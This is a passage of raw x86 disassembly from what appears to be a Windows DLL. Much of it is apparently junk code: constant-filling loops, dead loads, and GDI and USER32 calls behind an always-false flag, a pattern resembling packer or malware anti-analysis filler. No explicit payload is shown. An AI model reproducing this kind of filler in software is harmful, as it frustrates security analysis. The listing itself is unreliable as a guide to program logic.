mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0xcc0]
push eax
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x10026b7a
push dword [ebp - 0x40]
lea ecx, [ebp - 0x394]
call fcn.1000a90d
mov dword [eax], 0x4ccb63e
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10026b5c
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10026b9c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x19c], 0xfffffffa
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10026b83
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10026bb8
push dword [ebp - 0x40]
lea ecx, [ebp - 0xcc0]
call fcn.1000a90d
mov dword [eax], 6
inc dword [ebp - 0x40]
xor eax, eax
inc eax
cmp dword [ebp - 0x40], eax
jl 0x10026ba1
mov eax, dword [ebp - 0x198]
xor eax, eax
cmp dword [ebp - 0x19c], eax
jne 0x10026bdc
push eax
lea ecx, [ebp - 0x394]
call fcn.1000a90d
mov eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x394]
mov dword [ebp - 0xa74], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x198]
xor eax, eax
push eax
call fcn.1000a90d
push 2
lea ecx, [ebp - 0x394]
call fcn.1000a90d
xor ecx, ecx
xor ebx, ebx
push ecx
cmp dword [eax], ecx
lea ecx, [ebp - 0x394]
setne bl
call fcn.1000a90d
mov eax, dword [eax]
sub eax, ebx
je 0x10026c4f
xor ebx, ebx
lea ecx, [ebp - 0x394]
push ebx
call fcn.1000a90d
cmp dword [eax], ebx
je 0x10026c4f
xor eax, eax
lea edx, [eax + 1]
jmp 0x10026c55
xor eax, eax
xor ebx, ebx
mov edx, eax
mov eax, dword [ebp - 0x198]
xor ecx, ecx
cmp edx, eax
push ebx
setge cl
imul eax, ecx, 0x5816
lea ecx, [ebp - 0x394]
mov dword [ebp - 0x48], eax
call fcn.1000a90d
mov ecx, dword [ebp - 0x48]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10026c98
push ebx
lea ecx, [ebp - 0x394]
call fcn.1000a90d
cmp dword [eax], ebx
jne 0x10026c98
xor esi, esi
mov eax, ebx
inc esi
jmp 0x10026c9d
xor esi, esi
inc esi
mov eax, esi
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0xcc0]
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0xa74]
lea ecx, [ebp - 0xcc0]
sub eax, 0xffff
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xa7c], eax
call fcn.1000a908
or eax, 0xffffffff
lea ecx, [ebp - 0x394]
mov dword [ebp - 4], eax
call fcn.1000a908
xor eax, eax
push 3
mov dword [ebp - 0x40], eax
pop ebx
cmp dword [ebp - 0x40], ebx
jg 0x100273c3
push 2
lea ecx, [ebp - 0x608]
call fcn.1000a8a0
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0xf38]
mov dword [ebp - 0x20], 0x548aab56
push esi
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10026d44
push dword [ebp - 0x10]
lea ecx, [ebp - 0x608]
call fcn.1000a90d
mov dword [eax], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10026d25
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10026d70
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf38]
call fcn.1000a90d
mov dword [eax], 0xc6aa
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10026d4c
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0x608]
call fcn.1000a90d
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x608]
call fcn.1000a90d
or ecx, 0xffffffff
cmp dword [eax], ecx
je 0x1002701a
push esi
lea ecx, [ebp - 0x6e4]
call fcn.1000a8a0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xcd8]
mov eax, 0x374b
mov dword [ebp - 0x9f8], eax
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x9ec], eax
mov eax, 0x162d50c8
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0xa0c], eax
mov dword [ebp - 0xa08], eax
mov dword [ebp - 0xa04], eax
push ebx
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10026e1f
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6e4]
call fcn.1000a90d
mov dword [eax], 0x22124f84
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10026dfb
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10026e45
push dword [ebp - 0x10]
lea ecx, [ebp - 0xcd8]
call fcn.1000a90d
mov dword [eax], 0x9ab8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10026e27
xor eax, eax
push eax
lea ecx, [ebp - 0x6e4]
call fcn.1000a90d
mov dword [eax], 0xfffffff5
jmp 0x10026fc1
xor eax, eax
mov dword [ebp - 0x20], 0xcd509978
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10026e87
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94c], 0x58efa97f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10026e6e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jne 0x10026fb3
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x48], 0xae215169
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10026ec3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1308], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10026eab
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x10026f0f
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10026eea
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10026f0a
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10026ecb
cmp dword [ebp - 0x948], eax
jge 0x10026f21
cmp dword [ebp - 0xa08], eax
je 0x10026f21
mov eax, esi
cmp eax, 0x8ef544bd
lea ecx, [ebp - 0xcd8]
push esi
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x948]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
call fcn.1000a90d
xor ebx, ebx
lea ecx, [ebp - 0x608]
push ebx
inc dword [eax]
mov eax, dword [ebp - 0x9f4]
mov eax, dword [ebp - 0xa04]
mov eax, dword [ebp - 0x1304]
mov eax, dword [ebp - 0x9f8]
mov eax, dword [ebp - 0x948]
call fcn.1000a90d
cmp dword [ebp - 0xa08], ebx
je 0x10026f82
mov eax, dword [ebp - 0x9f0]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x9f0]
dec ecx
neg ecx
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
pop eax
sete dl
mov dword [ebp - 0xa08], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x10026e93
push eax
lea ecx, [ebp - 0x6e4]
call fcn.1000a90d
inc dword [eax]
xor ebx, ebx
lea ecx, [ebp - 0x6e4]
push ebx
call fcn.1000a90d
cmp dword [eax], 0x1c
jl 0x10026e5c
lea ecx, [ebp - 0xcd8]
call fcn.1000a908
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0xe
call fcn.1000a908
push ebx
lea ecx, [ebp - 0x608]
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x608]
dec dword [eax]
call fcn.1000a90d
or ecx, 0xffffffff
push 3
pop ebx
cmp dword [eax], ecx
jne 0x10026d97
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002707f
push esi
lea ecx, [ebp - 0xcf0]
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002705f
push dword [ebp - 0x18]
lea ecx, [ebp - 0xcf0]
call fcn.1000a90d
mov dword [eax], 0x1bbd
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x1002703b
xor esi, esi
xor eax, eax
inc esi
push eax
lea ecx, [ebp - 0xcf0]
call fcn.1000a90d
lea ecx, [ebp - 0xcf0]
mov byte [ebp - 4], 0xe
mov dword [eax], esi
call fcn.1000a908
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff9
jg 0x10027021
lea ecx, [ebp - 0xf38]
call fcn.1000a908
or eax, 0xffffffff
lea ecx, [ebp - 0x608]
mov dword [ebp - 4], eax
call fcn.1000a908
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], 0xd416db6
mov dword [ebp - 0x30], 0x5cc48b16
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], 0xda2ae7b7
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 8
je 0x100270f7
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100270ee
push esi
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 8
jne 0x100270d4
push 5
pop eax
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10027139
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13fc], 0x67120dd9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027120
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x100272a1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002716b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0x8c66f5a9
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x1002714d
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x8c], ebx
cmp dword [ebp - 0x8c], eax
jl 0x1002728c
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10027280
mov dword [ebp - 0x18], 0x7b844a75
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10027250
mov dword [ebp - 0x30], esi
xor ebx, ebx
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x13f4]
add ecx, 0x9ac5b813
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x4c8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4c8]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4c8]
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
setge al
add eax, 0x193f
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002721d
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x4c8], 0
je 0x1002721b
xor eax, eax
lea esi, [eax + 1]
jmp 0x1002721f
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x8c]
xor edx, edx
mov eax, dword [ebp - 0x4c4]
cmp ecx, eax
push 3
setg dl
xor eax, eax
cmp edx, esi
pop ebx
setge al
neg eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
push 1
pop esi
cmp dword [ebp - 0x18], ebx
jle 0x100271a9
mov eax, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ebx
jle 0x10027196
dec dword [ebp - 0x8c]
jns 0x1002717d
mov eax, dword [ebp - 0x8c]
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], ebx
jle 0x10027145
mov dword [ebp - 0x10], 0xffffffe5
jmp 0x100272e3
mov dword [ebp - 0x18], 0xf0790389
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x100272e0
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4c8], 0
jne 0x100272de
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100272d6
push eax
push eax
push eax
push eax
call edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100272b9
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xb
je 0x100272aa
mov ecx, dword [ebp - 0x80]
xor ebx, ebx
mov eax, dword [ebp - 0x140c]
add ecx, 0x9ac5b813
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setg bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x4e4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x4e4]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4e4]
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
setge al
add eax, 0x193f
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10027357
push eax
push eax
push 0x596
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10027376
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10027391
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x4e4], 0
je 0x1002738f
xor eax, eax
lea esi, [eax + 1]
jmp 0x10027393
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x80]
xor edx, edx
mov eax, dword [ebp - 0x4e0]
cmp ecx, eax
push 3
setg dl
xor eax, eax
cmp edx, esi
pop ebx
setge al
neg eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x40]
push 1
pop esi
cmp dword [ebp - 0x40], ebx
jle 0x10026cef
xor eax, eax
mov dword [ebp - 0x18], 0x571177e8
mov dword [ebp - 0x18], 0xfffffff3
jmp 0x100273e0
mov dword [ebp - 0x48], 0x1e2c
dec dword [ebp - 0x48]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jle 0x100273d3
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100273f6
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x34]
push 1
pop esi
cmp dword [ebp - 0x34], ebx
jle 0x100269de
dec dword [ebp - 0x80]
push 0
pop eax
jns 0x100264f5
mov dword [ebp - 0x40], eax
xor esi, esi
mov dword [ebp - 0x10], 0xbf4d39d9
inc esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002745c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe8], 0xfff9
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002743e
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x10], eax
jmp 0x10027472
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf60], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10027461
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x1002754d
jmp 0x100274b1
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10027500
mov dword [ebp - 0x18], 0x8abb75da
mov dword [ebp - 0x18], eax
jmp 0x100274f8
mov dword [ebp - 0x1c], 0x495e0e2b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x100274f5
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100274f0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x100274d1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x100274c2
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], eax
jle 0x100274b6
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe8]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe8]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe8]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe8]
mov dword [ebp - 0xf60], esi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x100274af
mov eax, dword [ebp - 0x80]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x100260af
push esi
lea ecx, [ebp - 0x400]
call fcn.1000a8a0
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x18], 0x18885c6f
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x1c], 0x5718a84d
mov dword [ebp - 0x48], 0xb62e56c
mov dword [ebp - 0x30], 0xefb40acb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100275ba
push dword [ebp - 0x18]
lea ecx, [ebp - 0x400]
call fcn.1000a90d
mov dword [eax], esi
xor eax, eax
inc dword [ebp - 0x18]
inc eax
push eax
pop esi
cmp dword [ebp - 0x18], eax
jl 0x10027598
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002788d
push 5
pop eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xd08]
mov dword [ebp - 0x40], eax
push esi
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002760a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd08]
call fcn.1000a90d
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x100275e9
xor esi, esi
xor eax, eax
inc esi
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10027629
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfc0], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10027615
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10027875
push ebx
lea ecx, [ebp - 0x118]
call fcn.1000a8a0
mov byte [ebp - 4], 0x14
push 6
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x50], 0xecd44262
mov dword [ebp - 0x20], eax
jmp 0x1002766d
push dword [ebp - 0x20]
call fcn.1000a90d
mov dword [eax], 0x23d1bca9
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x20], ebx
jl 0x1002765c
push esi
call fcn.1000a90d
xor ebx, ebx
lea ecx, [ebp - 0x118]
push esi
mov dword [eax], ebx
call fcn.1000a90d
jmp 0x10027852
mov dword [ebp - 0x38], 0xebf085f
push esi
mov dword [ebp - 0x48], ebx
call fcn.1000a90d
lea ecx, [ebp - 0x400]
push dword [eax]
call fcn.1000a90d
cmp dword [eax], ebx
je 0x1002775b
mov dword [ebp - 0x48], esi
lea ecx, [ebp - 0x118]
mov eax, dword [ebp - 0x48]
push esi
call fcn.1000a90d
xor ecx, ecx
push esi
cmp dword [eax], esi
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x118]
call fcn.1000a90d
lea ecx, [ebp - 0x400]
push dword [eax]
call fcn.1000a90d
mov ecx, dword [ebp - 0x1c]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x18]
je 0x10027704
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10027704
mov esi, eax
inc eax
jmp 0x10027709
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x118]
call fcn.1000a90d
lea ecx, [ebp - 0x400]
push dword [eax]
call fcn.1000a90d
xor edx, edx
xor ecx, ecx
inc edx
cmp esi, edx
setle cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x18]
setl dl
xor ebx, ebx
cmp edx, 0x8679
setle bl
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x18]
je 0x1002775d
cmp dword [ebp - 0x1c], eax
je 0x1002775d
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x10027762
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push eax
lea ecx, [ebp - 0x400]
call fcn.1000a90d
sub esi, dword [eax]
jne 0x1002777e
push ebx
lea ecx, [ebp - 0x118]
call fcn.1000a90d
mov dword [ebp - 0x48], 0xe0c2df10
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x1c], eax
jne 0x100277ac
push ebx
lea ecx, [ebp - 0x118]
call fcn.1000a90d
lea ecx, [ebp - 0x400]
push dword [eax]
call fcn.1000a90d
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x118]
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x400]
xor ebx, ebx
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x24]
push 5
pop ecx
sub ecx, eax
je 0x10027812
xor eax, eax
lea ecx, [ebp - 0x118]
inc eax
push eax
call fcn.1000a90d
lea ecx, [ebp - 0x400]
push dword [eax]
call fcn.1000a90d
cmp dword [eax], ebx
je 0x10027812
xor eax, eax
lea esi, [eax + 1]
jmp 0x10027816
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xd08]
call fcn.1000a90d
lea ecx, [ebp - 0x118]
mov dword [eax], esi
xor esi, esi
mov eax, dword [ebp - 0x28]
inc esi
mov eax, dword [ebp - 0xfbc]
add eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 0x38], eax
call fcn.1000a90d
push esi
lea ecx, [ebp - 0x118]
dec dword [eax]
call fcn.1000a90d
xor ebx, ebx
lea ecx, [ebp - 0x118]
cmp dword [eax], ebx
jge 0x10027693
mov byte [ebp - 4], 0x13
call fcn.1000a908
dec dword [ebp - 0x2c]
push 3
pop ebx
jns 0x10027635
lea ecx, [ebp - 0xd08]
mov byte [ebp - 4], 0x12
call fcn.1000a908
dec dword [ebp - 0x18]
jns 0x100275c6
or eax, 0xffffffff
lea ecx, [ebp - 0x400]
mov dword [ebp - 4], eax
call fcn.1000a908
mov dword [ebp - 0x2c], 0xffffffe5
cmp dword [ebp - 0x2c], 0xb
jne 0x100280bc
xor eax, eax
mov dword [ebp - 0x40], 0x75b57fd5
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100278de
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8a0], 0x49dfcf09
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x100278c0
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x40], eax
jmp 0x10027967
mov dword [ebp - 0x10], 0xbd7b1c2a
mov dword [ebp - 0x10], 2
jmp 0x10027959
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x20], eax
jmp 0x10027917
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10027914
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10027902
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x10027956
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10027951
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8a0], 0x87f6fb80
xor eax, eax
inc dword [ebp - 0x18]
inc eax
cmp dword [ebp - 0x18], eax
jl 0x10027933
xor esi, esi
xor eax, eax
inc esi
dec dword [ebp - 0x20]
jns 0x10027924
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe5
jl 0x100278f6
cmp dword [ebp - 0x10], eax
jne 0x10027971
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffff4
jl 0x100278e6
mov dword [ebp - 0x34], 0xf0790389
mov dword [ebp - 0x4c], 0xfffffffa
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0x5461
mov dword [ebp - 0x4c], 0xfab8c3ad
mov dword [ebp - 0x4c], 0xc58fb770
mov dword [ebp - 0x4c], 0x8afa2faf
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 0x35a23e86
mov dword [ebp - 0x4c], 0x6eff3de0
mov dword [ebp - 0x4c], 0x97e780ca
mov dword [ebp - 0x48], 0x64ea33a4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100279df
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1394], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100279c6
xor eax, eax
inc dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x100280af
mov dword [ebp - 0x10], 0x7a4a12b5
mov dword [ebp - 0x18], 0xe74a
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10027a25
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x124], 0xe2799ac7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10027a0c
xor eax, eax
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x10027b2f
or ecx, 0xffffffff
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10027b26
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x124]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x124]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x124]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x124]
mov eax, dword [ebp - 0x124]
xor eax, eax
inc eax
cmp dword [ebp - 0x120], eax
jg 0x10027a92
